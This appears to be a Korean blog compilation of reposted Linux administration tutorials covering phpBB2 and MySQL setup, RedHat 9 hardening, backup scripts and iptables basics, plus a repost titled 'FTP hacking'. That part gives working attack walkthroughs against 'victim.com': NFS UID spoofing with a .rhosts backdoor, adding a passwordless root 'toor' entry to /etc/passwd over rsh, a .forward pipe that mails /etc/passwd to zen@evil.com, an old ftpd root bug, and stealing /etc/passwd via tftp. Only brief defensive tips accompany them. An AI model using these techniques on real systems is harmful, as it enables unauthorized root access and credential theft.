/etc/httpd/conf/httpd.conf-다음의 내용이 있는지 확인--------------------------------------
    LoadModule php4_module lib/apache/libphp4.so
    -다음을 AddType항목 중 마지막에 추가----------------------------
    AddType application/x-httpd-php .php .phtmlAddType application/s-httpd-php-source .phps
    -다음의 내용을--------------------------------------------------
    DirectoryIndex index.html index.html.var
    -아래처럼 바꾼다------------------------------------------------
    DirectoryIndex index.html index.html.var index.php index.phtml index.phps
    ----------------------------------------------------------------phpBB2를 설치다운받는 곳 : http://www.phpbb.com/downloads.php	phpBB-2.0.6.tar.gz	lang_korean.tar.gz	subSilver_korean.tar.gz우선 MySQL에 계정을 하나 만든다	# cd /usr/local/mysql	# ./bin/mysqladmin -u root password '관리자암호'	# ./bin/mysql -u root -p	> create database board;	> use mysql;	> insert into user (host,user,password) values ('localhost','phpbb2',password('암호'));	> insert into db values ('localhost','board','phpbb2','y','y','y','y','y','y','y','y','y','y','y','y');	> flush privileges;	> exit	# ./bin/mysqladmin reloadphpBB2를 압축 풀고 설치	# cd /home/public_html	# tar xzvf phpBB-2.0.6.tar.gz	# cd phpBB2	# cd language	# tar xzvf ../../lang_korean.tar.gz	# cd ../templates	# tar xzvf ../../subSilver_korean.tar.gz웹브라우저에서 http://board.sorii.com으로 phpBB2를 설치 시작한다.	빈 값을 적당히 채워 넣은 후 (DB는 'localhost','board','phpbb2','암호'를 위의 MySQL에서 정한 것과 동일하게 입력)	config.php를 다운 받아서 phpBB2 디렉토리에 덮어쓰고	다시 접속했을 때 지시하는 두개의 디렉토리를 삭제한다.	다시 http://board.sorii.com으로 접속하면 phpBB2설치 완료phpBB2의 여러가지 MOD설치는 http://www.phpbb.com/ http://www.phpbb.co.kr/ http://www.phpbbhacks.com/ 사이트를 참고================================================================================사용자 계정 관리용 스크립트 제작 사용--------------------------------------------------------------------------------메일 서버를 제외한 각 서버의 root로 오는 메일을 메일서버로 돌린다    # vi /etc/aliases-다음의 내용을--------------------------------------------------
    # root:         m
    -아래처럼 바꾼다------------------------------------------------
    root:           root@mail.sorii.com
    ----------------------------------------------------------------NIS와 SMB에 동시에 사용자를 추가 시켜주는 스크립트를 마스터 서버에서 사용한다.    # vi /usr/bin/userman-첨부된 userman 소스를 참고-------------------------------------메일 서버에 그룹을 사용한 메일링 리스트가 가능하도록 스크립트를 제작하고 aliases를 수정한다.    # mkdir /etc/mail/group    # chmod 755 /etc/mail/group    # vi /usr/bin/mkgrpmail-첨부된 mkgrpmail 소스를 참고-----------------------------------    # vi /etc/aliases-다음을 마지막에 추가-------------------------------------------
    # Groupsall:            ":include:/etc/mail/group/sorii.list"manage:         ceo,":include:/etc/mail/group/manage.list"develop:        ceo,":include:/etc/mail/group/develop.list"design:         ceo,":include:/etc/mail/group/design.list"
    ----------------------------------------------------------------    # newaliases사용자가 추가되거나 삭제될 때에는 메일 서버에서 아래의 명령을 실행하여 목록을 갱신한다.    # mkgrpmail사용자를 추가할 때는 sorii그룹을 초기 그룹으로하고 사용자의 성격에 맞게 추가 그룹을 설정한다.    # userman-입력예---------------------------------------------------------
    =========================================          새로운 사용자 추가          =========================================  1. 사용자 ID : tinywolf  2. 전체 이름 : Jeong Seung-Dae  3. 암호      : 입력 됨  4. 초기 그룹 : sorii  5. 추가 그룹 : develop  6. 홈 위치   : /home/develop/tinywolf  7. 쉘 종류   : 기본 쉘 사용  8. 뼈대 복사 : no 스켈렉톤 디렉토리를 복사하지 않습니다.  9. 뼈대 위치 : 기본 위치 사용 10. 새 그룹   : no 사용자 ID와 같은 이름의 새 그룹을 만들지 않습니다. 11. UID       : 기본값 사용 12.
                
    
    
    
    
                        

    'OS > LINUX' 카테고리의 다른 글

    [펌] 웹 로그분석의 절대강자는?  (0) 2004.06.28
    [펌] 표준 보안 퍼미션 설정  (0) 2004.06.25
    [펌] RedHat 9.0 설치후 기본셋  (0) 2004.06.14
    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    Posted by tornado
    |

    1. ftp 보다 좋은 ncftp 설치
     
     서버 작업을 많이하면, ftp를 많이 사용한다. 하지만 ftp 보다 사용하기 편한 ncftp를 알면 ftp 쓰는 것이 그렇게 불편하게 느껴질 수 가 없다. 난 처음부터 ncftp를 사용해 왔다. RH9에서는 기본설치가 안되어 따로 패키지를 받아서 설치 하겠다. 물론 배포판 CD에 있지만, 넣고 마운트하고 어쿠 어쿠 귀찮은 것~~ 간단하게 받아서 설치 할 것이다.

     wget http://ftp.superuser.co.kr/pub/redhat/9/RPMS/ncftp-3.1.5-4.i386.rpm
    위와같은 명령을 입력하면 받아진다.^^ 물론 내가 올려놓았다.
     rpm -Uvh ncftp-3.1.5-4.i386.rpm
    이렇게 하면 설치하고,
     rm -rf ncftp-3.1.5-4.i386.rpm
    이렇게 해서 원본 파일을 지워 버린다.^^ 이렇게 설치를 하면 끝이다. 아주 쉽다^^ 이제 ncftp 의 대표적인 기능 몇가지만 알아 보겠다.

     [doly@doly ~]$ ncftp ftp.superuser.co.kr
    NcFTP 3.0.3 (April 15, 2001) by Mike Gleason (ncftp@ncftp.com).
    Copyright (c) 1992-2001 by Mike Gleason.
    All rights reserved.
    Connecting to ftp.superuser.co.kr...                                                                        
    ProFTPD 1.2.8 Server (ProFTPD Default Installation) [su21.nicekorea.co.kr]
    Logging in...                                                                                               
    Anonymous access granted, restrictions apply.
    Logged in to ftp.superuser.co.kr.                                                                           
    ncftp / >

    위와같이 간단하게 쳐 주면, 무명(anonymous) 로긴이 가능하다.
    물론 -u 옵션을 주면 사용자로긴이 가능하다.
     ncftp -u doly ftp.superuser.co.kr

    그리구 파일이나, 디렉토리이름을 모두 칠 필요 없이 Linux 터미널 처럼 몇자 치고 Tab 키를 누르면, 자동완성이 된다. 이 기능이 아주 좋기 때문에 난 이 프로그램을 쓴다.

    전송기능에 있어 다음과 같이 상황이 나온다.
    ncftp /apache > get httpd-2.0.49.tar.gz
    httpd-2.0.49.tar.gz:                                     5.65 MB  299.92 kB/s  

    이런 이유들 때문에 ncftp를 쓴다. ncget , ncput 등의 명령어도 제공된다. 그건 잘 쓰지 않지만 좋은 프로그램들이다.


    2. MAN 페이지에서 한글이 깨어진다면. 
     아마 RH9를 설치한 모든 사람들이 격을 것이다. 멘 페이지에 가끔 한글로 된 것을 볼 수 있는데, 100% 깨어질 것이다. 다음 화면과 같이~^^



    이렇게 알 수 없는 &&& 문자들로 이루어질 것이다.
    이런 경우 다음 패키지를 깔면 문제가 없다.^^

    [root@doly root]# wget http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm
    --21:33:50--  http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm
               => `less-378-8KR.i386.rpm'
    Resolving ftp.superuser.co.kr... 완료.
    Connecting to ftp.superuser.co.kr[210.114.223.221]:80... connected.
    HTTP 요청을 보냅니다, 서버로부터의 응답을 기다림...200 OK
    길이:   100,767 [audio/x-pn-realaudio-plugin]
    100%[=================================================================>] 100,767      289.43K/s    ETA 00:00
    21:33:50 (289.43 KB/s) - `less-378-8KR.i386.rpm'가 보존되었습니다 [100767/100767]
    [root@doly root]# rpm -Uvh less-378-8KR.i386.rpm
    준비 중...                  ########################################### [100%]
       1:less                   ########################################### [100%]
    [root@doly root]# rm -rf less-378-8KR.i386.rpm

    이렇게 서치가 끝나고 실행해 보면 다음과 같은 결과를 볼 수 있다.


     


    3. rpm으로 커널 업그래이드
     2004년에 커널 버그가 엄청 많이 보고 되었다. 지금까지 나온 커널을 패치한 rpm 버전이 있다. 이것을 설치한다. 물론 조금 더 공부했다며, 최신 버전 커널을 컴파일 해서 설치하는 것도 좋지만, 시간이 너무 오래 걸리고, 알아야할 것도 많기 때문에 지금까지 나온 버그를 모두 고친 커널을 rpm 으로 설치한다.
    wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-smp-2.4.20-30.9.i686.rpm
    wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-2.4.20-30.9.i686.rpm
    rpm -Uvh kernel-smp-2.4.20-30.9.i686.rpm
    rpm -Uvh kernel-2.4.20-30.9.i686.rpm
    rm -rf kernel-*.rpm

    cpu 가 2개라면 smp 커널을 설치해야한다. 하지만 cpu가 하나라면, smp 는 설치하지 말아두 된다.^^

    4. badblock 채크 및 마킹
    설치할 때도  배드블락을 채크했을 것이다. 그렇지만 어디에 배드블럭이 있고 어떻게 되었는지에 대한 정보를 얻을 수 없다. 그래서 다시 배드블락을 채크할 것이다. 그리고 만약 발견된다면, 파일 시스템 수준에서 그 블락을 쓰지 못하게 마킹을 할 것이다.
     [root@doly root]# badblocks -sv /dev/hda11
    Checking for bad blocks in read-only mode
    From block 0 to 2096451
    Checking for bad blocks (read-only test): 2096451/  2096451
    2096449
    2096450
    done                        
    Pass completed, 3 bad blocks found.

    위와같이 3개의 배드블럭이 발견되었다면, 다음 명령어로 아쉬운데로 마킹을 한다. (fsck 명령의 -c 옵션)
    [root@doly root]# fsck.ext3 -cvf /dev/hda11
    e2fsck 1.32 (09-Nov-2002)
    /dev/hda11 is mounted.  
    WARNING!!!  Running e2fsck on a mounted filesystem may cause
    SEVERE filesystem damage.

    Do you really want to continue (y/n)? yes
    /123: recovering journal
    Checking for bad blocks (read-only test): done                        
    Pass 1: Checking inodes, blocks, and sizes
    Pass 2: Checking directory structure
    Pass 3: Checking directory connectivity
    Pass 4: Checking reference counts
    Pass 5: Checking group summary information

    /123: ***** FILE SYSTEM WAS MODIFIED *****
    /123: ***** REBOOT LINUX *****
       78868 inodes used (30%)
          98 non-contiguous inodes (0.1%)
             # of inodes with ind/dind/tind blocks: 3503/14/0
      325956 blocks used (62%)
           0 bad blocks
           0 large files 

       53903 regular files
        3890 directories
        2522 character device files
       15884 block device files
           1 fifo
        4162 links
        2658 symbolic links (2658 fast symbolic links)
           1 socket
    --------
       83021 files

     이렇게 작업을 하였다면, 어느정도 안심해두 된다고 생각한다^^;

    5. tcp_wapper 설정으로 기본 보안 설정
     물론 처음 설치시 iptabls(방화벽)을 구축했지만, tcpd를 사용하는 데몬들중 허용하는 ip에서만 접근 가능하게 설정 할 것이다.

    echo "ALL:ALL" >> /etc/hosts.deny

    이런 간단한 명령어로 모든 서비스를 막는다. 물론 막히는 서비스는 몇가지 안 된다^^ 다 열거하며 힘드니~~
    그런다음 항상 허용할 데몬들과 허용할 ip를 등록한다.

    echo " ipop3d : ALL
    sendmail : ALL
    ALL : 192.168.0." >> /etc/hosts.allow

    위와 같이 입력하여, pop3 서버와 sendmail 은 모든 ip에 대해서 허용하고, 192.168.0.XXX에서 접근 하면 모든 서비스를 허용하도록 한다. 위와 같이 설정하는 것은 telnet 및 ssh에 가장 영향을 많이 받기 때문에 기본 보안설정으로 사용한다. 만약 유동 ip에서 접속한다면 이런 설정이 무의미 하다.^^; ip가 변해서 잘못하면 서버에 접속하지 못하는 불상사가 발생할 수도 있다.

    6. ssh 접속시 root 접속 못하게 설정
     ssh에서 root로 바로 접속해서 사용하면 너무 위험하다. 그래서 일반계정으로 접속한 다음 su - 명령어로 root 권한을 획득한 다음 작업하는 것이 좋다. 다음과 같이 간단하게 설정한다.
    /etc/ssh/sshd_config 파일을 편집해서 다음과 같이 설정한다.
        PermitRootLogin no
    이렇게 하구 sshd를 재시작한다.
    /etc/rc.d/init.d/sshd restart

    7. su 명령어 특정 사용자만 실행 가능하게 설정
      
    우선 root 권한으로 명령을 실행할 수 있는 명령어 sudo를 삭제한다.
    [root@doly bin]# rm -rf /usr/bin/sudo
    아래와같이 권한 설정을 바꾸고,
    chmod 4750 /bin/su
    chown root:wheel /bin/su
    소유그룹을 wheel로 한다. 그런 다음
    /etc/group 파일을 열어 wheel 그룹에 su 명령어를 쓸 사용자들을 등록한다.
    (예 : wheel:x:10:root,doly)

    9. 자동 시간 설정
     자동으로 정확한 시간을 맞추는 것은 의외로 간단하다. 다음과 같이한다.
    [root@doly bin]# crontab -e
    05 00 * * * '/usr/bin/rdate -s time.bora.net && /sbin/clock -w'
    위와 같은 내용을 복사해서 넣으면 된다.  위와같이 설정해 두면, 매일 매일 00시 05분에 time.bora.net에 접속하여 시간을 동기화한다.^^

    10. 일일 백업
      
    이젠, 서버에서 가장 중요한 백업에 대한 설정을 하겠다. RAID로 구성되어 있다면 좋겠지만, 비용 문제 때문에 대부분 이 방법을 사용하지 않는다. 일반적인 방법은 하루에 한번정도 압축해 둔다. 시간은 제일 사용자가 없을 시간을 선택한다. 세벽 4시정도^^ 그리구 만약을 위해 누적 백업할 것이다. 디스크 용량이 충분하다면, 백업 데이터는 많이 가지고 있는 것이 좋다. 자.. 그럼 이런 백업 정책을 구상했다면 이 백업정책을 프로그램으로 짠다. 다음과 같이^^;

    아래 내용을 /root/backup.sh 파일에 넣는다.

    #!/bin/bash
    export Today="`date '+%y-%m-%d'`"
    backup_dir="/backup/data"
    backup_count="2" #### 백업본 보관 일 수 (2일간 보관)

    ########### delete 오래된 백업데이터 삭제
    dirlists=`/bin/ls -t $backup_dir 2>/dev/null`
    i=1
    for dir in $dirlists ; do
      if [ "$i" -ge $backup_count ] ; then
        /bin/rm -rf "$backup_dir/$dir"
      fi
      i=$(($i+1))
    done

    ################ 새로운 디렉토리 생성 ####
    /bin/mkdir -p ${backup_dir}/$Today
    cd ${backup_dir}/$Today

    ###########  home 디렉토리에 사용자별로 백업을 한다.
    dirlists=`/bin/ls -t /home 2>/dev/null`
    for dir in $dirlists ; do
      tar cvfpz ${backup_dir}/$Today/$dir.tar.gz /home/$dir
    done
    ####### 기타 디렉토리를 백업한다
    tar cvfpz ${backup_dir}/$Today/usr.local.tar.gz /usr/local
    tar cvfpz ${backup_dir}/$Today/etc.tar.gz /etc
    tar cvfpz ${backup_dir}/$Today/var.named.tar.gz /var/named
    tar cvfpz ${backup_dir}/$Today/var.spool.mail.tar.gz /var/spool/mail

    ############# 링크를 만들어 준다.####
    rm -rf /backup/today
    ln -s ${backup_dir}/$Today /backup/today


    위의 내용을 복사해서 넣는다. 그리구 실행권한을 준다.
    [root@doly root]# chmod 700 /root/backup.sh
     그 다음 새벽 4시에 자동실행되게 crontab에서 설정한다.
    [root@doly bin]# crontab -e
    00 04 * * * '/root/backup.sh | mail -s "백업결과보고" 메일주소
    백업 결과를 메일로 받을 것이다. 그렇기 때문에 위에 메일주소 부분을 받고자 하는 메일주소 바꿔줘야한다.

    11. 일일 시스템 점검
      
    일일 점검사항은 많으면 많을수록 좋다.^^ 서버에 들어와서 일일이 검사하면 좋겠지만. 여간 귀찮은 일이 아닐 수 없다. 그래서 기본적으로 관찰해야 할 놈들을 모아서 하루에 한번씩 실행한 다음 메일로 받아본다.

     아래 내용을 /root/check.sh 파일에 넣는다.

    #!/bin/bash
    echo -e "\n 1. 오늘날짜:"
    date
    echo -e "\n 2. 디스크 용량 점검 "
    df -h
    echo -e "\n 3. 포트 점검 "
    netstat -an | grep LISTEN
    echo -e "\n 5. /tmp 디렉토리 점검 "
    ls -al /tmp
    ls -al /var/tmp
    echo -e "\n 6. /var/spool/mqueue 점검 (큐에 쌓인 메일 수 카운트==> 너무 많으면 문제) "
    ls -l /var/spool/mqueue | wc -l
    echo -e "\n 7. 실행 프로세스 점검 "
    pstree
    echo -e "\n 8. 최후 접속자 점검"
    lastlog | grep -v "한번도"

    위의 내용을 복사해서 넣는다. 그리구 실행권한을 준다.
    [root@doly root]# chmod 700 /root/check.sh
     그 다음 새벽 7시에 자동실행되게 crontab에서 설정한다.
    [root@doly bin]# crontab -e
    00 07 * * * '/root/check.sh | mail -s "시스템 점검 결과보고" 메일주소
    채크 결과를 메일로 받을 것이다. 그렇기 때문에 위에 메일주소 부분을 받고자 하는 메일주소 바꿔줘야한다.

    12. 본 강좌를 마무리 하며 ...
     
      서버 설치후에 손봐야 할 것이 한 두가지가 아니다. 내가 하는 것은 이 보다 더 많고 복잡하다. 하지만 최소한 해야 한다는 것은 올려 두었다. 위의 내용뿐 아니라 백업이나 점검 같은 경우는 필요하다면 추가해서 결과를 받아보는 것이 좋다.
     지금 까진 기본 설정이 었다. 다음에도 강좌는 계속 이어진다. 본 강좌를 읽고 부디 도움이 되길 바란다. 힘들 게 쓴만큼^^

      혹시 본 강좌에 대한 질문 및 문의사항이 있으면, 메일 한통 보내주기 바란다. 메일주소는 doly 골뱅이superuser.co.kr 이다. 메일 주소를 무단 수집해서 스팸메일을 보내는 이를 막기 위해서 위와 같이 표기했으며, 골뱅이 부분은 @ 치환하면 된다.


     

    출처 : http://www.superuser.co.kr/
     

    'OS > LINUX' 카테고리의 다른 글

    [펌] 표준 보안 퍼미션 설정  (0) 2004.06.25
    [펌] linux setup for hosting  (0) 2004.06.21
    [펌] ftp 이용한 Hacking  (0) 2004.06.10
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    Posted by tornado
    |

    1. 다른 시스템의 남의 디렉토리 접근하기

    먼저 showmount로 상대편 시스템의 디렉토리중 공개된 디렉토리를 찾는다.

    evil % showmount -e victim.com
    export list for victim.com:
    /export                                 (everyone)
    /var                                    (everyone)
    /usr                                    easy
    /export/exec/kvm/sun4c.sunos.4.1.3      easy
    /export/root/easy                       easy
    /export/swap/easy                       easy
    위를 보면 공개된 디렉토리의 열거를 볼 수 있다. 요즘의 시스템에는 위와 같이 공개시키는 경우는 드물고, 있다하더라도 보통 은 /usr디렉토리 정도이다. 하지만 /usr디렉토리만 공개되어도 우리가 할 수 있는 목적은 충분히 달성할 수 있다.
    다음으로 할 일은 자기의 시스템에 있는 디렉토리에 상대편의 공개된 디렉토리를 마운트 시키는 일이다. 이제부터는 최소한 루 트(root)의 권한이 있어야한다. 루트가 아니면 hacking도 못해먹는다. ''#''의 prompt표시는 루트의 prompt임을 모두 알것이다.

    evil # mount victim.com:/usr /foo
    evil # cd /foo
    evil # ls -alg
    total 3
       1  drwxr-xr-x    11   root       deamon        512   Jun 19  09:47  .
       1  drwxr-xr-x     7   root       wheel         512   Jun 19  1991   . .
       1  drwx--x--x     9   10001      deamon       1024   Jun  3  15:49  guest
    자 이제 상대편 디렉토리를 마운트 시켰고, 그 디렉토리를 들어가서 그 아래 guest라는 디렉토리가 있는 것을 볼 수 있다. 이 디렉토리는 1001의 UID를 갖는 사람의 소유임을 알 수 있고, 그 사람의 계정이 guest이고, home디렉토리가 바로 이 guest디렉토 리라는 것을 추정할 수 있다. 이제 목표가 정해졌다. 아직은 이 디렉토리의 접근 권한은 other의 권한밖에 없으므로 그 사람이 g uest디렉토리의 other접근 권한을 막아 놓았다면 아직은 그 디렉토리에 접근 할 수 가 없다. 이제 이 디렉토리의 접근 권한을 얻 어보자. 방법은 아주 간단하다. 자신의 시스템에 같은 UID를 갖는 사람의 계정을 하나 만들어 주고 내가 그 사람이 되는 거다 너 무나 우습게 쉬운 방법이다.

    evil # echo guest:x:10001:1:temporary breakin account:/: >>/etc/passwd
    evil # ls -alg
    total 3
       1 drwxr-xr-x  11   root    deamon     512   Jun 19  09:47   .
       1 drwxr-xr-x   7   root    wheel      512   Jun 19   1991   . .
       1 drwx--x--x   9   guest   deamon    1024   Jun  3  15:49   guest
    자신의 시스템에 같은 계정을 만들어주고 ls를 해보니 이제는 UID가 숫자로 나오지 않고, 계정으로 바뀌어 나온다. 이제 모든 준비는 끝났다. 내가 그 사람이 되어 그 사람 디렉토리를 마음대로 사용할 수 있다. 하지만 여기에 하나의 테크닉이 더 있다. 그 사람의 home디렉토리에 .rhost라는 파일에 자신의 서버이름을 적어 주면 다음 부터는 나의 시스템에서 그사람이 된 다음 바로 그 시스템으로 로그인을 할 수 있게 된다. 물론 패스워드가 필요없이... 그렇다면 지금 보다는 더 많은 일들을 그곳에서 할 수 있게된다. 자. 이제 마지막이다. 여기서 ''evil.com''은 내 시스템의 도메인 네임이다.

    evil # su guest
    evil % echo evil.com >> guest/.rhosts
    evil % rlogin victim.com
    Welcome to victim.com!!
    victim %
    만약에 공개된 디렉토리가 /bin과 같이 실행 파일이 있는 디렉토리라면 당신은 그곳에 트로이 목마를 저장시켜 다른 사람으로 하여금 실행시킬 수 도 있을 것이다.
    하지만 이 방법은 당신이 그 시스템에서 root의 권한을 가지지 못하기 때문에 당신이 그곳에 접속한 기록 파일을 지울 수 없다 . 그 쪽에서 마음만 먹으면 당신의 경로를 추적할 수도 있다.
    부디 다른 시스템에 해가 되는 장난은 하지 말고 가벼운 실험에서 끝나기를 바란다. 이상.

     


    2. 다른 시스템에서 root되기
    이 방법이 통하는 시스템은 요즘은 거의 없다. 하지만 간혹 부실한 옛 컴퓨터에는 통할 지도 모르니 한 번쯤 도전해 봐도 좋다 . 성공한다면 당신은 그 시스템의 최고 권력자가 된다.
    이 방법은 /etc/hosts.equiv에 "+"의 와일드 카드를 가지거나 약간의 버그로 인해 가능해지는데, 한마디로 루트가 아 닌 사람이 상대편 호스트로 패스워드 없이 로그인 해서 그곳의 /etc/passwd파일을 수정하는 것이다.
    이 방법을 써먹기 위해서는 물론 당신이 자신의 시스템에서 루트이어야한다. 먼저 당신은 당신 시스템에서 bin이 된다. 그리고 상대편 호스트에 멋지게 로그인 한다음에 그곳의 패스워드 파일에 루트와 같은 UID를 가지는 자신의 계정을 추가 시킨 후 유유히 빠져나온다.

    evil % whoami
    bin
    evil % rsh victim.com csh -i
    Warning: no access to tty; thus no job control in this shell...
    victim %
    이제 당신은 상대편 시스템으로 들어왔다. 많은 일을 할 수는 없지만, 당신이 필요로 하는 일은 충분히 가능하다. 이제 /etc디렉토리에 있는 passwd파일에 자신의 계정을 써 넣는다. more나 vi 등의 명령은 통하지 않으니 아래의 방법을 권장한다.

    victim % cd /etc
    victim % mv passwd pw.old
    victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
    victim % ^D
    evil %
    이제 모든 것이 끝났다. 당신의 막강한 루트권한을 가진 계정으로 접속을 해보아라.

    evil % rlogin victim.com -l toor
    Welcome to victim.com!
    victim #
    위의 방법은 시스템의 기록 파일들인 wtmp나 utmp에 기록을 남기지 않고, finger나 who등으로도 알아낼 수가 없기 때문에 꽤 쓸 만한 방법이다. 하지만, 이 방법에 의해 접근될만한 시스템이 현재는 많지 않다. 이 remote shell은 터미널 의존적이지 않기 때문에 앞에 말했듯이 vi나 more같은 스크린에 기반한 프로그램은 동작하지 않는다.
    COPS라는 자체 보안 프로그램은 이러한 해킹에 드러난 취약점을 발견해주니 관리자는 한 번쯤 사용해 보기를 권한다. tcp wrapper같은 프로그램도 이러한 로그인을 발견할 수 있으니 관심있는 사람은 사용해 보세요.

     

    3. FTP와 메일을 이용하여 상대편 호스트의 passwd파일 가져오기
    이방법은 먼저 anonymous서비스를 해주는 ftp서버에서 ftp의 home 디렉토리가 요즘처럼 ~ftp/ 같이 따로 있지 않고 root디렉토 리에 있을 경우와 그 디렉토리에 파일을 올려놓을 수 있게 된 시스템에서만 가능하다.
    여기서는 mail에서 사용되는 .forward파일을 사용한다. .forward는 어떠한 계정의 home디렉토리에 있으면서 그 계정으로 온 mail을 다른 곳으로 보내주는것에 대한 정보가 기록된다.
    당신은 먼저 ftp에 접속을 한다. 그러면 로그인 된 디렉토리는 그곳의 root디렉토리일 것이고, 그곳의 /etc에는 passwd파일이 있을 것이다. 이것을 가져오는 것이다. 그곳 ftp의 home디렉토리, 즉 root디렉토리에다 당신이 그곳에 접속하기전에 미리 만들어 놓은 파일을 .forward라는 이름으로 올려놓는다. 그러면 이제 passwd파일을 가져오기 위한 준비가 끝난다. 여기서 zen은 자신의 호스트에 있는 자신의 계정이다.
    가장 먼저 .forward로 올려지게 될 파일을 작성한다.

    evil % cat forward_suck_file
    "|/bin/mail zen@evil.com < /etc/passwd"
    이제 ftp서버에 접속해서 이 파일을 .forward라는 이름으로 ftp의 home디렉토리에 올려놓는다.

    evil % ftp victim.com
    Connected to victim.com
    220 victim FTP server ready.
    Name (victim.com:zen) : ftp
    331 Guest login ok, send ident as password.
    password:
    230 Guest login ok, access restrictions apply.
    ftp> ls -lga
    200 PORT command successful.
    150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 byte).
    total 5
    drwxr-xr-x   4   101     1              512   Jun  20    1991  .
    drwxr-xr-x   4   101     1              512   Jun  20    1991  . .
    drwxr-xr-x   2   0       1              512   Jun  20    1991  bin
    drwxr-xr-x   2   0       1              512   Jun  20    1991  etc
    drwxr-xr-x   3   101     1              512   Aug  22    1991  pub
    226 ASCII Transfer complete.
    242 byte received in 0.066 seconds (3.6 Kbyte/s)
    ftp> put forward_sucker_file .forwar

    d
    43 byte sent in 0.0015 seconds (28 Kbyte/s)
    ftp> quit
    evil %
    자 이제 그곳의 ftp에게 편지를 보내보자 당신이 올려놓은 .forward파일에 의해 그곳의 passwd파일이 당신에게 mail로 전달될 것이다.

    evil % echo test | mail ftp@victim.com
    COPS라는 자체 보안 프로그램은 당신의 시스템에 이러한 FTP의 구멍이 있는지를 점검해준다. 이러한 취약점은 100% 관리자의 소홀이다. ftp의 home디렉토리를 따로 ~ftp/에 만들어 주든지 각 디렉토리와 파일의 접근 권한을 적절히 지정해 준다면 절대 일어나지 않을 hacking방법이다

     

    4. FTP에서 root권한을 가지는 옛날 방법
    이 방법은 ftp에서 root의 권한을 획득하는 오래전의 방법이다. 물론 당신의 시스템이 아직도 이런 bug를 가진 ftpd로 구동되고 있다면 ftpd를 빠른 시일내에 업그레이드 시켜야 할 것이다. 해킹 방법은 간단하다. 아래와 같이 몇줄의 간단한 명령으로 끝이난다 .

    evil % ftp -n
    ftp> open victim.com
    connected to victim.com
    220 victim.com FTP server ready.
    ftp> quote user ftp
    331 Guest login ok, send ident as password.
    ftp> quote cwd ~root
    530 Please login with USER and PASS.
    ftp> quote pass ftp
    230 Guest login ok, access restriction apply.
    ftp> ls -al / (or whatever)
    만약에 위의 방법이 성공되었다면, 당신은 ftp에 root의 권한으로 login된 것이다. 당신은 ftp의 모든 기능을 활용해 passwd파 일을 바꾸거나 당신이 원하는 모든일을 할 수 있다.
    이제는 이런 버그를 가진 시스템이 없겠지만 아직도 있다면 부디 각성바란다.

    5. tftp로 상대 호스트의 passwd파일 가져오기
    ftp와 비슷한 프로그램으로 tft나 기타 기본적인 기능을 가진 파일전송 프로그램이 있다. 이 데몬은 확인을 위해 비밀번호를 요구하지 않는다. 만약에 그 시스템에서 특별히 접근권한을 제한하지 않았다면 당신은 그 시스템에 읽거나 쓰기를 마음대로 할 수 있다. 아래와 같이 하면 간단히 자신의 /tmp 디렉토리로 상대 호스트의 /etc/passwd 파일을 가져올 수 있다.

    evil % tftp
    tftp> connect victim.com
    tftp> get /etc/passwd /tmp/passwd.victim
    tftp> quit
    위에서와 같은 도둑질을 막기 위해서는 역시 간단하다. tftp같은 프로그램을 사용하지 못하게 하면 된다. tftp가 꼭 필요하다면 , 안전을 위해 플래그나 옵션 등을 적절히 사용하여 접근 권한을 제한하거나, chroot wrapper 프로그램의 관리 아래에 두면 된다 

     

     

    'OS > LINUX' 카테고리의 다른 글

    [펌] linux setup for hosting  (0) 2004.06.21
    [펌] RedHat 9.0 설치후 기본셋  (0) 2004.06.14
    [펌] Iptables를 이용한 Packet Filtering  (0) 2004.06.10
    [펌] rm으로 지운파일 복구하기  (0) 2004.06.10
    [펌] Dos 공격막기  (0) 2004.06.10
    Posted by tornado
    |

    1.    ‘Packet Filtering’?

     

    Packet filter는 지나가는 packet header를 살펴보고 그 전체 packet의 운명을 결정하는 소프트웨어의 일부이다. 이것은 packet'DROP'(, 마치 전혀 전달되지도 못 했던 것처럼 packet을 거부) 하던가, 'ACCEPT'(, packet이 지나가도록 내버려 둠) 하던가 또는 다른 더욱 복잡한 무엇을 할 것인가를 결정할 것이다.

     

    2.    ‘Packet Filtering’은 왜 필요한 것인가?

     

    1)      제어

    내부 네트워크에서 다른 네트워크로 인터넷을 이용하여 접속을 하고자 할 때 어떤 형태의 전송은 가능하게 하고 다른 것은 불가능하게 할 수 있다. 예를 들어, packet header에는 목적지의 주소를 포함하고 있고 이것으로 packet이 바깥 네트워크의 다른 곳으로 가지 않도록 한다. 다른 예로, 나는 인터넷으로 스포츠 신문을 보기 위해 Explorer를 이용하는 상황을 생각해 보자. 그곳의 웹 페이지에는 NATE의 광고가 있고 Explorer는 그 광고를 받기 위하여 나의 시간을 소비한 다. Nate.com의 주소로 가거나 또는 그곳에서 오는 어떠한 packet도 허락하지 않도록 packet filter에게 이야기 해 놓음으로 이 문제를 해결할 수 있다.

     

    2)      보안:

    컴퓨터 network는 누구나 사용할 수 있는 것이기 때문에 외부로부터 자신의 컴퓨터 시스템을 보호해야 한다. 그러기 위해서는 건물에 경비 아저씨가 있는 것처럼 나쁜 정보나 불확실한 의도를 가진 것들을 내 컴퓨터에 들어오기 전에 미리 차단하는 것이 필요하다. 따라서 어떠한 정보는 허용하고 어떠한 것은 차단하는 방법이 요구된다. 예를 들어, 여러분은 여러분의 네트워크로부터 나가는 모든 것을 허용하고 싶지만, 반면에 밖으로부터 들어오는, "죽음의 핑" 같은, 악의 있는 것에 대하여는 차단해야 한다. 다른 예로, 아무리 여러분 리눅스 박스의 모든 계정사용자가 암호를 가지고 있다고 하더라도 바깥으로부터의 telnet 시도는 바라지 않을 것이다. 대부분의 사람들처럼 인터넷에서 구경꾼 이 되고 싶고 제공자는 되고 싶지 않을 것이다. 간단히 말해서, 접속 중에 모든 들어오려는 packetpacket filter를 이용하여 거부하려고 할 것이다.

     

    3)      관찰가능성

